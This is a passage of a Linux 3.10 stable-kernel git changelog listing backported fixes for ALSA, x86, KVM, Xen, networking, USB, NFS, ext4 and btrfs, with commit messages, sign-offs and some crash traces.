Signed-off-by: Pranav Vashi commit c55712e12c7916dbd576c0f232ccccb948fde4fd Author: Takashi Iwai Date: Tue Jan 12 12:38:02 2016 +0100 ALSA: seq: Fix missing NULL check at remove_events ioctl commit 030e2c78d3a91dd0d27fef37e91950dde333eba1 upstream. snd_seq_ioctl_remove_events() calls snd_seq_fifo_clear() unconditionally even if there is no FIFO assigned, and this leads to an Oops due to NULL dereference. The fix is just to add a proper NULL check. Reported-by: Dmitry Vyukov Tested-by: Dmitry Vyukov Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d5dad125a858a9b179016e451b6c1d7e2ea92693 Author: Mario Kleiner Date: Tue Dec 22 00:45:43 2015 +0100 ALSA: hda/realtek - Fix silent headphone output on MacPro 4,1 (v2) commit 9f660a1c43890c2cdd1f423fd73654e7ca08fe56 upstream. Without this patch, internal speaker and line-out work, but front headphone output jack stays silent on the Mac Pro 4,1. This code path also gets executed on the MacPro 5,1 due to identical codec SSID, but i don't know if it has any positive or adverse effects there or not. (v2) Implement feedback from Takashi Iwai: Reuse alc889_fixup_mbp_vref and just add a new nid 0x19 for the MacPro 4,1. Signed-off-by: Mario Kleiner Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f12047879ab45329ca0e0fc26fd47511215eb285 Author: Xiong Zhang Date: Fri Dec 18 13:29:18 2015 +0800 ALSA: hda - Set SKL+ hda controller power at freeze() and thaw() commit 3e6db33aaf1d42a30339f831ec4850570d6cc7a3 upstream. It takes three minutes to enter into hibernation on some OEM SKL machines and we see many codec spurious response after thaw() opertion. This is because HDA is still in D0 state after freeze() call and pci_pm_freeze/pci_pm_freeze_noirq() don't set D3 hot in pci_bus driver. It seems bios still access HDA when system enter into freeze state, HDA will receive codec response interrupt immediately after thaw() call. Because of this unexpected interrupt, HDA enter into a abnormal state and slow down the system enter into hibernation. In this patch, we put HDA into D3 hot state in azx_freeze_noirq() and put HDA into D0 state in azx_thaw_noirq(). V2: Only apply this fix to SKL+ Fix compile error when CONFIG_PM_SLEEP isn't defined [Yet another fix for CONFIG_PM_SLEEP ifdef and the additional comment by tiwai] Signed-off-by: Xiong Zhang Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 34f480a3bbe2318f1759df11bbd2e59c1b8ca508 Author: David Henningsson Date: Mon Dec 7 11:29:31 2015 +0100 ALSA: hda - Add inverted dmic for Packard Bell DOTS commit 02f6ff90400d055f08b0ba0b5f0707630b6faed7 upstream. On the internal mic of the Packard Bell DOTS, one channel has an inverted signal. Add a quirk to fix this up. BugLink: https://bugs.launchpad.net/bugs/1523232 Signed-off-by: David Henningsson Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3dab632ef70f984fb53fc9ea4266c065232a4777 Author: Takashi Iwai Date: Fri Dec 4 16:44:24 2015 +0100 ALSA: rme96: Fix unexpected volume reset after rate changes commit a74a821624c0c75388a193337babd17a8c02c740 upstream. rme96 driver needs to reset DAC depending on the sample rate, and this results in resetting to the max volume suddenly. It's because of the missing call of snd_rme96_apply_dac_volume(). However, calling this function right after the DAC reset still may not work, and we need some delay before this call. Since the DAC reset and the procedure after that are performed in the spinlock, we delay the DAC volume restore at the end after the spinlock. Reported-and-tested-by: Sylvain LABOISNE Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 903fc6f4060e3656b3b59f768bca310c1e93120a Author: Takashi Iwai Date: Wed Nov 4 22:39:16 2015 +0100 ALSA: hda - Apply pin fixup for HP ProBook 6550b commit c932b98c1e47312822d911c1bb76e81ef50e389c upstream. HP ProBook 6550b needs the same pin fixup applied to other HP B-series laptops with docks for making its headphone and dock headphone jacks working properly. We just need to add the codec SSID to the list. Bugzilla: https://bugzilla.kernel.org/attachment.cgi?id=191971 Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea288402057d601491a984b0886c94225e7221f3 Author: Alexandra Yates Date: Wed Nov 4 15:56:09 2015 -0800 ALSA: hda - Add Intel Lewisburg device IDs Audio commit 5cf92c8b3dc5da59e05dc81bdc069cedf6f38313 upstream. Adding Intel codename Lewisburg platform device IDs for audio. [rearranged the position by tiwai] Signed-off-by: Alexandra Yates Signed-off-by: Takashi Iwai Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 03a5eed5892d4ae198f84bbf144b06e4239660c1 Author: Jan Stancek Date: Tue Dec 8 13:57:51 2015 -0500 ipmi: move timer init to before irq is setup commit 27f972d3e00b50639deb4cc1392afaeb08d3cecc upstream. We encountered a panic on boot in ipmi_si on a dell per320 due to an uninitialized timer as follows. static int smi_start_processing(void *send_info, ipmi_smi_t intf) { /* Try to claim any interrupts. */ if (new_smi->irq_setup) new_smi->irq_setup(new_smi); --> IRQ arrives here and irq handler tries to modify uninitialized timer which triggers BUG_ON(!timer->function) in __mod_timer(). Call Trace: [] start_new_msg+0x47/0x80 [ipmi_si] [] start_check_enables+0x4e/0x60 [ipmi_si] [] smi_event_handler+0x1e8/0x640 [ipmi_si] [] ? __rcu_process_callbacks+0x54/0x350 [] si_irq_handler+0x3c/0x60 [ipmi_si] [] handle_IRQ_event+0x60/0x170 [] handle_edge_irq+0xde/0x180 [] handle_irq+0x49/0xa0 [] do_IRQ+0x6c/0xf0 [] ret_from_intr+0x0/0x11 /* Set up the timer that drives the interface. */ setup_timer(&new_smi->si_timer, smi_timeout, (long)new_smi); The following patch fixes the problem. To: Openipmi-developer@lists.sourceforge.net To: Corey Minyard CC: linux-kernel@vger.kernel.org Signed-off-by: Jan Stancek Signed-off-by: Tony Camuso Signed-off-by: Corey Minyard Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 54fde797c14ede35f4952fed38129d02a6c4f92e Author: H.J. Lu Date: Mon Jan 4 10:17:09 2016 -0800 x86/boot: Double BOOT_HEAP_SIZE to 64KB commit 8c31902cffc4d716450be549c66a67a8a3dd479c upstream. When decompressing kernel image during x86 bootup, malloc memory for ELF program headers may run out of heap space, which leads to system halt. This patch doubles BOOT_HEAP_SIZE to 64KB. Tested with 32-bit kernel which failed to boot without this patch. Signed-off-by: H.J. Lu Acked-by: H. Peter Anvin Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Denys Vlasenko Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Cc: linux-kernel@vger.kernel.org Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 1c712fa6c8d69d375d9516c23a057f8cc4354314 Author: Mario Kleiner Date: Fri Dec 18 20:24:06 2015 +0100 x86/reboot/quirks: Add iMac10,1 to pci_reboot_dmi_table[] commit 2f0c0b2d96b1205efb14347009748d786c2d9ba5 upstream. Without the reboot=pci method, the iMac 10,1 simply hangs after printing "Restarting system" at the point when it should reboot. This fixes it. Signed-off-by: Mario Kleiner Cc: Andy Lutomirski Cc: Borislav Petkov Cc: Brian Gerst Cc: Dave Jones Cc: Denys Vlasenko Cc: H. Peter Anvin Cc: Linus Torvalds Cc: Peter Zijlstra Cc: Thomas Gleixner Link: http://lkml.kernel.org/r/1450466646-26663-1-git-send-email-mario.kleiner.de@gmail.com Signed-off-by: Ingo Molnar Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit f0ebf959f238d28d2df679ba87588483f654da70 Author: Paul Mackerras Date: Thu Nov 12 16:43:02 2015 +1100 KVM: PPC: Book3S HV: Prohibit setting illegal transaction state in MSR commit c20875a3e638e4a03e099b343ec798edd1af5cc6 upstream. Currently it is possible for userspace (e.g. QEMU) to set a value for the MSR for a guest VCPU which has both of the TS bits set, which is an illegal combination. The result of this is that when we execute a hrfid (hypervisor return from interrupt doubleword) instruction to enter the guest, the CPU will take a TM Bad Thing type of program interrupt (vector 0x700). Now, if PR KVM is configured in the kernel along with HV KVM, we actually handle this without crashing the host or giving hypervisor privilege to the guest; instead what happens is that we deliver a program interrupt to the guest, with SRR0 reflecting the address of the hrfid instruction and SRR1 containing the MSR value at that point. If PR KVM is not configured in the kernel, then we try to run the host's program interrupt handler with the MMU set to the guest context, which almost certainly causes a host crash. This closes the hole by making kvmppc_set_msr_hv() check for the illegal combination and force the TS field to a safe value (00, meaning non-transactional). Signed-off-by: Paul Mackerras Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ad7385a56455efc93651c4de238b23ead47886de Author: Ouyang Zhaowei (Charles) Date: Wed May 6 09:47:04 2015 +0800 x86/xen: don't reset vcpu_info on a cancelled suspend commit 6a1f513776b78c994045287073e55bae44ed9f8c upstream. On a cancelled suspend the vcpu_info location does not change (it's still in the per-cpu area registered by xen_vcpu_setup()). So do not call xen_hvm_init_shared_info() which would make the kernel think its back in the shared info. With the wrong vcpu_info, events cannot be received and the domain will hang after a cancelled suspend. Signed-off-by: Charles Ouyang Reviewed-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 458760ddc7a86363e472bbc873ea66b1a96e2896 Author: Boris Ostrovsky Date: Tue Nov 10 15:10:33 2015 -0500 xen/gntdev: Grant maps should not be subject to NUMA balancing commit 9c17d96500f78d7ecdb71ca6942830158bc75a2b upstream. Doing so will cause the grant to be unmapped and then, during fault handling, the fault to be mistakenly treated as NUMA hint fault. In addition, even if those maps could partcipate in NUMA balancing, it wouldn't provide any benefit since we are unable to determine physical page's node (even if/when VNUMA is implemented). Marking grant maps' VMAs as VM_IO will exclude them from being part of NUMA balancing. Signed-off-by: Boris Ostrovsky Signed-off-by: David Vrabel Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 9a2c456857ca13325ae852d34a7e5d5f7916de59 Author: Dmitry V. Levin Date: Tue Dec 1 00:54:36 2015 +0300 x86/signal: Fix restart_syscall number for x32 tasks commit 22eab1108781eff09961ae7001704f7bd8fb1dce upstream. When restarting a syscall with regs->ax == -ERESTART_RESTARTBLOCK, regs->ax is assigned to a restart_syscall number. For x32 tasks, this syscall number must have __X32_SYSCALL_BIT set, otherwise it will be an x86_64 syscall number instead of a valid x32 syscall number. This issue has been there since the introduction of x32. Reported-by: strace/tests/restart_syscall.test Reported-and-tested-by: Elvira Khabirova Signed-off-by: Dmitry V. Levin Cc: Elvira Khabirova Link: http://lkml.kernel.org/r/20151130215436.GA25996@altlinux.org Signed-off-by: Thomas Gleixner Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit aea8c03d3d610299d8b93b61b3cfe8a2accfb7a6 Author: Willy Tarreau Date: Sun Jan 24 09:19:57 2016 +0100 af_unix: fix incorrect revert of 'lock_interruptible' in stream receive code As reported by Sultan Qasim, commit 3822b5c ("af_unix: Revert 'lock_interruptible' in stream receive code") was accidently applied at the wrong place in the backport that appeared in 3.10.95, it affected unix_dgram_recvmsg() instead of unix_stream_recvmsg() due to now similar code sections there. The dgram part needs to remain but the stream part needs to be removed. Reported-By: Sultan Qasim Fixes: 3a57e78 (3.10.95) Signed-off-by: Willy Tarreau Signed-off-by: Pranav Vashi commit 9ff644f343ca8ea6557cd8037b10ce1d0eeeae19 Author: Greg Kroah-Hartman Date: Fri Jan 22 20:33:57 2016 -0800 Linux 3.10.95 Signed-off-by: Pranav Vashi commit f9d5d5cd462386603e51974502f4157ee28fe2bc Author: David Howells Date: Fri Sep 25 16:30:08 2015 +0100 KEYS: Fix race between key destruction and finding a keyring by name commit 94c4554ba07adbdde396748ee7ae01e86cf2d8d7 upstream. There appears to be a race between: (1) key_gc_unused_keys() which frees key->security and then calls keyring_destroy() to unlink the name from the name list (2) find_keyring_by_name() which calls key_permission(), thus accessing key->security, on a key before checking to see whether the key usage is 0 (ie. the key is dead and might be cleaned up). Fix this by calling ->destroy() before cleaning up the core key data - including key->security. Reported-by: Petr Matousek Signed-off-by: David Howells Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit d139aa4ba4a785b21889b35ccb3b4ffd3612d5bf Author: Rainer Weikusat Date: Wed Dec 16 20:09:25 2015 +0000 af_unix: Revert 'lock_interruptible' in stream receive code [ Upstream commit 3822b5c2fc62e3de8a0f33806ff279fb7df92432 ] With b3ca9b02b00704053a38bfe4c31dbbb9c13595d0, the AF_UNIX SOCK_STREAM receive code was changed from using mutex_lock(&u->readlock) to mutex_lock_interruptible(&u->readlock) to prevent signals from being delayed for an indefinite time if a thread sleeping on the mutex happened to be selected for handling the signal. But this was never a problem with the stream receive code (as opposed to its datagram counterpart) as that never went to sleep waiting for new messages with the mutex held and thus, wouldn't cause secondary readers to block on the mutex waiting for the sleeping primary reader. As the interruptible locking makes the code more complicated in exchange for no benefit, change it back to using mutex_lock. Signed-off-by: Rainer Weikusat Acked-by: Hannes Frederic Sowa Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 35a0d5931b797d749c8a86dfe8b3191ed736dcdc Author: David S. Miller Date: Tue Dec 15 15:39:08 2015 -0500 bluetooth: Validate socket address length in sco_sock_bind(). [ Upstream commit 5233252fce714053f0151680933571a2da9cbfb4 ] Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3409d165d46f0240da2fddab669948b70f2478c1 Author: WANG Cong Date: Mon Dec 14 13:48:36 2015 -0800 pptp: verify sockaddr_len in pptp_bind() and pptp_connect() [ Upstream commit 09ccfd238e5a0e670d8178cf50180ea81ae09ae1 ] Reported-by: Dmitry Vyukov Signed-off-by: Cong Wang Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b82150718008c0ccc2b55c9fcddf0d0687c77b4f Author: Sergei Shtylyov Date: Fri Dec 4 01:45:40 2015 +0300 sh_eth: fix kernel oops in skb_put() [ Upstream commit 248be83dcb3feb3f6332eb3d010a016402138484 ] In a low memory situation the following kernel oops occurs: Unable to handle kernel NULL pointer dereference at virtual address 00000050 pgd = 8490c000 [00000050] *pgd=4651e831, *pte=00000000, *ppte=00000000 Internal error: Oops: 17 [#1] PREEMPT ARM Modules linked in: CPU: 0 Not tainted (3.4-at16 #9) PC is at skb_put+0x10/0x98 LR is at sh_eth_poll+0x2c8/0xa10 pc : [<8035f780>] lr : [<8028bf50>] psr: 60000113 sp : 84eb1a90 ip : 84eb1ac8 fp : 84eb1ac4 r10: 0000003f r9 : 000005ea r8 : 00000000 r7 : 00000000 r6 : 940453b0 r5 : 00030000 r4 : 9381b180 r3 : 00000000 r2 : 00000000 r1 : 000005ea r0 : 00000000 Flags: nZCv IRQs on FIQs on Mode SVC_32 ISA ARM Segment user Control: 10c53c7d Table: 4248c059 DAC: 00000015 Process klogd (pid: 2046, stack limit = 0x84eb02e8) [...] This is because netdev_alloc_skb() fails and 'mdp->rx_skbuff[entry]' is left NULL but sh_eth_rx() later uses it without checking. Add such check... Reported-by: Yasushi SHOJI Signed-off-by: Sergei Shtylyov Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 52750ebedcfc0c8c8de8a0f6b23c77e505311944 Author: Eric Dumazet Date: Wed Dec 9 07:25:06 2015 -0800 ipv6: sctp: clone options to avoid use after free [ Upstream commit 9470e24f35ab81574da54e69df90c1eb4a96b43f ] SCTP is lacking proper np->opt cloning at accept() time. TCP and DCCP use ipv6_dup_options() helper, do the same in SCTP. We might later factorize this code in a common helper to avoid future mistakes. Reported-by: Dmitry Vyukov Signed-off-by: Eric Dumazet Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 01dea789222328052c1cca89802b2e0ba7874099 Author: Marcelo Ricardo Leitner Date: Fri Dec 4 15:14:04 2015 -0200 sctp: update the netstamp_needed counter when copying sockets [ Upstream commit 01ce63c90170283a9855d1db4fe81934dddce648 ] Dmitry Vyukov reported that SCTP was triggering a WARN on socket destroy related to disabling sock timestamp. When SCTP accepts an association or peel one off, it copies sock flags but forgot to call net_enable_timestamp() if a packet timestamping flag was copied, leading to extra calls to net_disable_timestamp() whenever such clones were closed. The fix is to call net_enable_timestamp() whenever we copy a sock with that flag on, like tcp does. Reported-by: Dmitry Vyukov Signed-off-by: Marcelo Ricardo Leitner Acked-by: Vlad Yasevich Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit bcdd81595e5bee59c4e66547ddde63abb8d6fcec Author: Pavel Machek Date: Fri Dec 4 09:50:00 2015 +0100 atl1c: Improve driver not to do order 4 GFP_ATOMIC allocation [ Upstream commit f2a3771ae8aca879c32336c76ad05a017629bae2 ] atl1c driver is doing order-4 allocation with GFP_ATOMIC priority. That often breaks networking after resume. Switch to GFP_KERNEL. Still not ideal, but should be significantly better. atl1c_setup_ring_resources() is called from .open() function, and already uses GFP_KERNEL, so this change is safe. Signed-off-by: Pavel Machek Acked-by: Michal Hocko Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit b1acafb1f48a1e31d4fe3d80f30d4bc5cd099077 Author: Nicolas Dichtel Date: Thu Dec 3 17:21:50 2015 +0100 gre6: allow to update all parameters via rtnl [ Upstream commit 6a61d4dbf4f54b5683e0f1e58d873cecca7cb977 ] Parameters were updated only if the kernel was unable to find the tunnel with the new parameters, ie only if core pamareters were updated (keys, addr, link, type). Now it's possible to update ttl, hoplimit, flowinfo and flags. Fixes: c12b395a4664 ("gre: Support GRE over IPv6") Signed-off-by: Nicolas Dichtel Signed-off-by: David S. Miller Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 4da7e59fd87a4d040db9c919b4f8a4bfb04a2e70 Author: Ben Hutchings Date: Wed Nov 18 02:01:21 2015 +0000 usb: Use the USB_SS_MULT() macro to decode burst multiplier for log message commit 5377adb092664d336ac212499961cac5e8728794 upstream. usb_parse_ss_endpoint_companion() now decodes the burst multiplier correctly in order to check that it's <= 3, but still uses the wrong expression if warning that it's > 3. Fixes: ff30cbc8da42 ("usb: Use the USB_SS_MULT() macro to get the ...") Signed-off-by: Ben Hutchings Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 08e9ceb9409608dde0194957f693af422f079e9d Author: Alexey Khoroshilov Date: Sat Nov 21 00:36:44 2015 +0300 USB: whci-hcd: add check for dma mapping error commit f9fa1887dcf26bd346665a6ae3d3f53dec54cba1 upstream. qset_fill_page_list() do not check for dma mapping errors. Found by Linux Driver Verification project (linuxtesting.org). Signed-off-by: Alexey Khoroshilov Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 3246c44717a7634fa0d7b2f8e7ff6f46362bfc8b Author: Alan Stern Date: Thu Dec 10 15:27:21 2015 -0500 USB: add quirk for devices with broken LPM commit ad87e03213b552a5c33d5e1e7a19a73768397010 upstream. Some USB device / host controller combinations seem to have problems with Link Power Management. For example, Steinar found that his xHCI controller wouldn't handle bandwidth calculations correctly for two video cards simultaneously when LPM was enabled, even though the bus had plenty of bandwidth available. This patch introduces a new quirk flag for devices that should remain disabled for LPM, and creates quirk entries for Steinar's devices. Signed-off-by: Alan Stern Reported-by: Steinar H. Gunderson Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 703ef1c8664702a5e2e50f6ff8bb36c1b824abdc Author: Konstantin Shkolnyy Date: Tue Nov 10 16:40:13 2015 -0600 USB: cp210x: Remove CP2110 ID from compatibility list commit 7c90e610b60cd1ed6abafd806acfaedccbbe52d1 upstream. CP2110 ID (0x10c4, 0xea80) doesn't belong here because it's a HID and completely different from CP210x devices. Signed-off-by: Konstantin Shkolnyy Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit e3e47cd6036e3c38a8620b56ed848c6b33cbacbb Author: Jonas Jonsson Date: Sun Nov 22 11:47:17 2015 +0100 USB: cdc_acm: Ignore Infineon Flash Loader utility commit f33a7f72e5fc033daccbb8d4753d7c5c41a4d67b upstream. Some modems, such as the Telit UE910, are using an Infineon Flash Loader utility. It has two interfaces, 2/2/0 (Abstract Modem) and 10/0/0 (CDC Data). The latter can be used as a serial interface to upgrade the firmware of the modem. However, that isn't possible when the cdc-acm driver takes control of the device. The following is an explanation of the behaviour by Daniele Palmas during discussion on linux-usb. "This is what happens when the device is turned on (without modifying the drivers): [155492.352031] usb 1-3: new high-speed USB device number 27 using ehci-pci [155492.485429] usb 1-3: config 1 interface 0 altsetting 0 endpoint 0x81 has an invalid bInterval 255, changing to 11 [155492.485436] usb 1-3: New USB device found, idVendor=058b, idProduct=0041 [155492.485439] usb 1-3: New USB device strings: Mfr=0, Product=0, SerialNumber=0 [155492.485952] cdc_acm 1-3:1.0: ttyACM0: USB ACM device This is the flashing device that is caught by the cdc-acm driver. Once the ttyACM appears, the application starts sending a magic string (simple write on the file descriptor) to keep the device in flashing mode. If this magic string is not properly received in a certain time interval, the modem goes on in normal operative mode: [155493.748094] usb 1-3: USB disconnect, device number 27 [155494.916025] usb 1-3: new high-speed USB device number 28 using ehci-pci [155495.059978] usb 1-3: New USB device found, idVendor=1bc7, idProduct=0021 [155495.059983] usb 1-3: New USB device strings: Mfr=1, Product=2, SerialNumber=3 [155495.059986] usb 1-3: Product: 6 CDC-ACM + 1 CDC-ECM [155495.059989] usb 1-3: Manufacturer: Telit [155495.059992] usb 1-3: SerialNumber: 359658044004697 [155495.138958] cdc_acm 1-3:1.0: ttyACM0: USB ACM device [155495.140832] cdc_acm 1-3:1.2: ttyACM1: USB ACM device [155495.142827] cdc_acm 1-3:1.4: ttyACM2: USB ACM device [155495.144462] cdc_acm 1-3:1.6: ttyACM3: USB ACM device [155495.145967] cdc_acm 1-3:1.8: ttyACM4: USB ACM device [155495.147588] cdc_acm 1-3:1.10: ttyACM5: USB ACM device [155495.154322] cdc_ether 1-3:1.12 wwan0: register 'cdc_ether' at usb-0000:00:1a.7-3, Mobile Broadband Network Device, 00:00:11:12:13:14 Using the cdc-acm driver, the string, though being sent in the same way than using the usb-serial-simple driver (I can confirm that the data is passing properly since I used an hw usb sniffer), does not make the device to stay in flashing mode." Signed-off-by: Jonas Jonsson Tested-by: Daniele Palmas Signed-off-by: Johan Hovold Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit cb1096d9c5396a6a04a367bda573998d398231a6 Author: Jeff Layton Date: Wed Nov 25 13:50:11 2015 -0500 nfs: if we have no valid attrs, then don't declare the attribute cache valid commit c812012f9ca7cf89c9e1a1cd512e6c3b5be04b85 upstream. If we pass in an empty nfs_fattr struct to nfs_update_inode, it will (correctly) not update any of the attributes, but it then clears the NFS_INO_INVALID_ATTR flag, which indicates that the attributes are up to date. Don't clear the flag if the fattr struct has no valid attrs to apply. Reviewed-by: Steve French Signed-off-by: Jeff Layton Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 82a0b5709f88f50453975e4903c4fcdbadf09f6f Author: Benjamin Coddington Date: Fri Nov 20 09:56:20 2015 -0500 nfs4: start callback_ident at idr 1 commit c68a027c05709330fe5b2f50c50d5fa02124b5d8 upstream. If clp->cl_cb_ident is zero, then nfs_cb_idr_remove_locked() skips removing it when the nfs_client is freed. A decoding or server bug can then find and try to put that first nfs_client which would lead to a crash. Signed-off-by: Benjamin Coddington Fixes: d6870312659d ("nfs4client: convert to idr_alloc()") Signed-off-by: Trond Myklebust Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit 6ba8681f01fe9d9efee608f53bacc45da8936ca1 Author: Stefan Richter Date: Tue Nov 3 01:46:21 2015 +0100 firewire: ohci: fix JMicron JMB38x IT context discovery commit 100ceb66d5c40cc0c7018e06a9474302470be73c upstream. Reported by Clifford and Craig for JMicron OHCI-1394 + SDHCI combo controllers: Often or even most of the time, the controller is initialized with the message "added OHCI v1.10 device as card 0, 4 IR + 0 IT contexts, quirks 0x10". With 0 isochronous transmit DMA contexts (IT contexts), applications like audio output are impossible. However, OHCI-1394 demands that at least 4 IT contexts are implemented by the link layer controller, and indeed JMicron JMB38x do implement four of them. Only their IsoXmitIntMask register is unreliable at early access. With my own JMB381 single function controller I found: - I can reproduce the problem with a lower probability than Craig's. - If I put a loop around the section which clears and reads IsoXmitIntMask, then either the first or the second attempt will return the correct initial mask of 0x0000000f. I never encountered a case of needing more than a second attempt. - Consequently, if I put a dummy reg_read(...IsoXmitIntMaskSet) before the first write, the subsequent read will return the correct result. - If I merely ignore a wrong read result and force the known real result, later isochronous transmit DMA usage works just fine. So let's just fix this chip bug up by the latter method. Tested with JMB381 on kernel 3.13 and 4.3. Since OHCI-1394 generally requires 4 IT contexts at a minium, this workaround is simply applied whenever the initial read of IsoXmitIntMask returns 0, regardless whether it's a JMicron chip or not. I never heard of this issue together with any other chip though. I am not 100% sure that this fix works on the OHCI-1394 part of JMB380 and JMB388 combo controllers exactly the same as on the JMB381 single- function controller, but so far I haven't had a chance to let an owner of a combo chip run a patched kernel. Strangely enough, IsoRecvIntMask is always reported correctly, even though it is probed right before IsoXmitIntMask. Reported-by: Clifford Dunn Reported-by: Craig Moore Signed-off-by: Stefan Richter Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit a80953be226a9efc4e3829679e7d3b68d4a0585d Author: Daeho Jeong Date: Sun Oct 18 17:02:56 2015 -0400 ext4, jbd2: ensure entering into panic after recording an error in superblock commit 4327ba52afd03fc4b5afa0ee1d774c9c5b0e85c5 upstream. If a EXT4 filesystem utilizes JBD2 journaling and an error occurs, the journaling will be aborted first and the error number will be recorded into JBD2 superblock and, finally, the system will enter into the panic state in "errors=panic" option. But, in the rare case, this sequence is little twisted like the below figure and it will happen that the system enters into panic state, which means the system reset in mobile environment, before completion of recording an error in the journal superblock. In this case, e2fsck cannot recognize that the filesystem failure occurred in the previous run and the corruption wouldn't be fixed. Task A Task B ext4_handle_error() -> jbd2_journal_abort() -> __journal_abort_soft() -> __jbd2_journal_abort_hard() | -> journal->j_flags |= JBD2_ABORT; | | __ext4_abort() | -> jbd2_journal_abort() | | -> __journal_abort_soft() | | -> if (journal->j_flags & JBD2_ABORT) | | return; | -> panic() | -> jbd2_journal_update_sb_errno() Tested-by: Hobin Woo Signed-off-by: Daeho Jeong Signed-off-by: Theodore Ts'o Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ea45a03dd722b9ae2fac8b75c4861d3c21fde426 Author: Filipe Manana Date: Mon Nov 9 00:33:58 2015 +0000 Btrfs: fix race leading to BUG_ON when running delalloc for nodatacow commit 1d512cb77bdbda80f0dd0620a3b260d697fd581d upstream. If we are using the NO_HOLES feature, we have a tiny time window when running delalloc for a nodatacow inode where we can race with a concurrent link or xattr add operation leading to a BUG_ON. This happens because at run_delalloc_nocow() we end up casting a leaf item of type BTRFS_INODE_[REF|EXTREF]_KEY or of type BTRFS_XATTR_ITEM_KEY to a file extent item (struct btrfs_file_extent_item) and then analyse its extent type field, which won't match any of the expected extent types (values BTRFS_FILE_EXTENT_[REG|PREALLOC|INLINE]) and therefore trigger an explicit BUG_ON(1). The following sequence diagram shows how the race happens when running a no-cow dellaloc range [4K, 8K[ for inode 257 and we have the following neighbour leafs: Leaf X (has N items) Leaf Y [ ... (257 INODE_ITEM 0) (257 INODE_REF 256) ] [ (257 EXTENT_DATA 8192), ... ] slot N - 2 slot N - 1 slot 0 (Note the implicit hole for inode 257 regarding the [0, 8K[ range) CPU 1 CPU 2 run_dealloc_nocow() btrfs_lookup_file_extent() --> searches for a key with value (257 EXTENT_DATA 4096) in the fs/subvol tree --> returns us a path with path->nodes[0] == leaf X and path->slots[0] == N because path->slots[0] is >= btrfs_header_nritems(leaf X), it calls btrfs_next_leaf() btrfs_next_leaf() --> releases the path hard link added to our inode, with key (257 INODE_REF 500) added to the end of leaf X, so leaf X now has N + 1 keys --> searches for the key (257 INODE_REF 256), because it was the last key in leaf X before it released the path, with path->keep_locks set to 1 --> ends up at leaf X again and it verifies that the key (257 INODE_REF 256) is no longer the last key in the leaf, so it returns with path->nodes[0] == leaf X and path->slots[0] == N, pointing to the new item with key (257 INODE_REF 500) the loop iteration of run_dealloc_nocow() does not break out the loop and continues because the key referenced in the path at path->nodes[0] and path->slots[0] is for inode 257, its type is < BTRFS_EXTENT_DATA_KEY and its offset (500) is less then our delalloc range's end (8192) the item pointed by the path, an inode reference item, is (incorrectly) interpreted as a file extent item and we get an invalid extent type, leading to the BUG_ON(1): if (extent_type == BTRFS_FILE_EXTENT_REG || extent_type == BTRFS_FILE_EXTENT_PREALLOC) { (...) } else if (extent_type == BTRFS_FILE_EXTENT_INLINE) { (...) } else { BUG_ON(1) } The same can happen if a xattr is added concurrently and ends up having a key with an offset smaller then the delalloc's range end. So fix this by skipping keys with a type smaller than BTRFS_EXTENT_DATA_KEY. Signed-off-by: Filipe Manana Signed-off-by: Greg Kroah-Hartman Signed-off-by: Pranav Vashi commit ffc4f2127069ba0754c72a67a1fcded79fedbf2d Author: Eric Dumazet Date: Tue Dec 1 07:20:07 2015 -0800 ipv6: sctp: implement sctp_v6_destroy_sock() [ Upstream commit 602dd62dfbda3e63a2d6a3cbde953ebe82bf5087 ] Dmitry Vyukov reported a memory leak using IPV6 SCTP sockets. We need to call inet6_destroy_sock() to properly release inet6 specific fields. Reported-by: Dmitry Vyukov Signed-off-by: Eric Dumazet Acked-by: Daniel Borkmann Signed-off-by: David S. Miller Signed-off-by: Greg 